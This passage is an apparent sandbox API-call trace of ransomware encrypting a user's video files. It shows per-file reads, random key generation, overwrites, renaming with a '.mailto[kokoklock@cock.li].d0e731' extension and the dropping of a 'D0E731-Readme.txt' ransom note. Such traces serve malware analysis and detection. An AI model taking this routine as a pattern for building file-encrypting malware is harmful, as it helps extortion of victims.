RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342afa8) returned 1 [0068.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0068.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d90) returned 1 [0068.403] RtlExitUserThread (Status=0x0) Thread: id = 366 os_tid = 0x6dc [0068.404] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4")) returned 0x20 [0068.404] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4", dwFileAttributes=0x20) returned 1 [0068.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0068.405] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x1053f8f8 | out: lpFileSize=0x1053f8f8*=9640) returned 1 [0068.405] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x25a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.405] ReadFile (in: hFile=0x598, lpBuffer=0x1053f8cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1053f8c8, lpOverlapped=0x0 | out: lpBuffer=0x1053f8cc*, lpNumberOfBytesRead=0x1053f8c8*=0x4, lpOverlapped=0x0) returned 1 [0068.405] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0068.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423c68 [0068.405] NtQuerySystemTime (in: CurrentTime=0x1053f8a4 | out: CurrentTime=0x1053f8a4*=132121176263061244) returned 0x0 [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x4b06589f [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xbfc81479 [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x2ae4fa21 [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x11a38b4f [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xe95b7578 [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xe026e39d [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x81d47a7f [0068.405] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xa7da6329 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xbe12709d [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x6a23c387 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x5daa27e4 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xd95ab4de [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x20f1e344 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x4bcb2b8 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xe70833c8 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xe3cd8ae4 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xf8fe5e9a [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x1df39711 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xa8de94d6 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x8e85cae3 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x3f119a40 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x8640b494 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xb1c5e253 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xa06cd2e8 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x70704653 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xcccf1b6e [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xa5bf1986 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xbea67ab7 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xb8f13d5b [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x5fa67b2a [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0xc09b5df5 [0068.406] RtlRandom (in: Seed=0x1053f8b0 | out: Seed=0x1053f8b0) returned 0x24381b99 [0068.420] ReadFile (in: hFile=0x598, lpBuffer=0x3475830, nNumberOfBytesToRead=0x25a8, lpNumberOfBytesRead=0x1053f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1053f8a4*=0x25a8, lpOverlapped=0x0) returned 1 [0068.421] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1053f86c | out: lpNewFilePointer=0x0) returned 1 [0068.421] WriteFile (in: hFile=0x598, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x25a8, lpNumberOfBytesWritten=0x1053f8a0, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1053f8a0*=0x25a8, lpOverlapped=0x0) returned 1 [0068.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0068.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0068.421] WriteFile (in: hFile=0x598, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1053f89c, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0x1053f89c*=0x20, lpOverlapped=0x0) returned 1 [0068.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0068.421] WriteFile (in: hFile=0x598, lpBuffer=0x3423ce0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1053f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3423ce0*, lpNumberOfBytesWritten=0x1053f8c8*=0x8, lpOverlapped=0x0) returned 1 [0068.422] WriteFile (in: hFile=0x598, lpBuffer=0x1053f8e0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1053f8c8, lpOverlapped=0x0 | out: lpBuffer=0x1053f8e0*, lpNumberOfBytesWritten=0x1053f8c8*=0x4, lpOverlapped=0x0) returned 1 [0068.422] WriteFile (in: hFile=0x598, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1053f8c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1053f8c8*=0x4, lpOverlapped=0x0) returned 1 [0068.422] WriteFile (in: hFile=0x598, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1053f8c8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1053f8c8*=0x6c, lpOverlapped=0x0) returned 1 [0068.422] WriteFile (in: hFile=0x598, lpBuffer=0x3423b78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1053f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3423b78*, lpNumberOfBytesWritten=0x1053f8c8*=0x20, lpOverlapped=0x0) returned 1 [0068.422] WriteFile (in: hFile=0x598, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1053f8c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1053f8c8*=0x4, lpOverlapped=0x0) returned 1 [0068.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0068.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c90) returned 1 [0068.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ce0) returned 1 [0068.422] CloseHandle (hObject=0x598) returned 1 [0068.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3760 [0068.423] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4" [0068.423] wcscat (in: _Dest=0x33e3760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" [0068.423] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.424] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0068.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0068.424] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4", dwFileAttributes=0x20) returned 0 [0068.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd7f0 [0068.424] wcscpy (in: _Dest=0x33cd7f0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0068.424] wcscat (in: _Dest=0x33cd7f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0068.425] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0xffffffff [0068.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x724 [0068.484] WriteFile (in: hFile=0x724, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1053f8c4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1053f8c4*=0x481, lpOverlapped=0x0) returned 1 [0068.485] CloseHandle (hObject=0x724) returned 1 [0068.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd7f0) returned 1 [0068.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0068.492] RtlExitUserThread (Status=0x1) Thread: id = 367 os_tid = 0xce4 [0068.426] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv")) returned 0x20 [0068.426] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv", dwFileAttributes=0x20) returned 1 [0068.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0068.426] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x105bfa28 | out: lpFileSize=0x105bfa28*=53098) returned 1 [0068.426] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0xcf66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.427] ReadFile (in: hFile=0x598, lpBuffer=0x105bf9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x105bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x105bf9fc*, lpNumberOfBytesRead=0x105bf9f8*=0x4, lpOverlapped=0x0) returned 1 [0068.427] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0068.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423c90 [0068.427] NtQuerySystemTime (in: CurrentTime=0x105bf9d4 | out: CurrentTime=0x105bf9d4*=132121176263276902) returned 0x0 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xa0c9d9a4 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x13352ba1 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xac9ad9a9 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xf7148a93 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x41c48230 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xadaf8c7e [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x87e78ad9 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x75b37671 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x7c31c056 [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x75e4c34d [0068.427] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xeffa8a0 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x1b46e902 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xc2d3d017 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xaa5c1d8e [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xa508dd23 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xf14f93d9 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x7df32a20 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xed373fd7 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xee39ff93 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x4a07ac47 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x55337771 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xf590d64e [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x4f72d14a [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xcc1f1bdd [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x6bf2f128 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0xa1ab838d [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x1d5947d2 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x1cf860f2 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x4d8dc371 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x98cc06b1 [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x723bf1da [0068.428] RtlRandom (in: Seed=0x105bf9e0 | out: Seed=0x105bf9e0) returned 0x4c72b6a5 [0068.439] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.439] ReadFile (in: hFile=0x598, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x105bf9ac, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x105bf9ac*=0x4096, lpOverlapped=0x0) returned 1 [0068.439] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0068.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0068.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0068.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0068.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0068.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0068.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423970 [0068.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423970) returned 1 [0068.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0068.440] WriteFile (in: hFile=0x598, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x105bf9ac, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x105bf9ac*=0x4096, lpOverlapped=0x0) returned 1 [0068.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.440] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0xcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.440] WriteFile (in: hFile=0x598, lpBuffer=0x3423948*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x105bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x3423948*, lpNumberOfBytesWritten=0x105bf9e4*=0x20, lpOverlapped=0x0) returned 1 [0068.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0068.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.440] WriteFile (in: hFile=0x598, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x105bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0x105bf9f8*=0x8, lpOverlapped=0x0) returned 1 [0068.440] WriteFile (in: hFile=0x598, lpBuffer=0x105bfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x105bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x105bfa10*, lpNumberOfBytesWritten=0x105bf9f8*=0x4, lpOverlapped=0x0) returned 1 [0068.440] WriteFile (in: hFile=0x598, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x105bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x105bf9f8*=0x4, lpOverlapped=0x0) returned 1 [0068.441] WriteFile (in: hFile=0x598, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x105bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x105bf9f8*=0x6c, lpOverlapped=0x0) returned 1 [0068.441] WriteFile (in: hFile=0x598, lpBuffer=0x3423b78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x105bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x3423b78*, lpNumberOfBytesWritten=0x105bf9f8*=0x20, lpOverlapped=0x0) returned 1 [0068.441] WriteFile (in: hFile=0x598, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x105bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x105bf9f8*=0x4, lpOverlapped=0x0) returned 1 [0068.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0068.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ce0) returned 1 [0068.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.441] CloseHandle (hObject=0x598) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce9d8 [0068.483] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv" [0068.483] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" [0068.483] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.501] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0068.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0068.502] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv", dwFileAttributes=0x20) returned 0 [0068.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd7f0 [0068.502] wcscpy (in: _Dest=0x33cd7f0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0068.502] wcscat (in: _Dest=0x33cd7f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0068.502] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0x20 [0068.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd7f0) returned 1 [0068.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426f98) returned 1 [0068.502] RtlExitUserThread (Status=0x1) Thread: id = 368 os_tid = 0xb6c [0068.444] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv")) returned 0x20 [0068.444] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv", dwFileAttributes=0x20) returned 1 [0068.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0068.445] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x1063f950 | out: lpFileSize=0x1063f950*=1891) returned 1 [0068.445] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x75f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.445] ReadFile (in: hFile=0x598, lpBuffer=0x1063f924, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1063f920, lpOverlapped=0x0 | out: lpBuffer=0x1063f924*, lpNumberOfBytesRead=0x1063f920*=0x4, 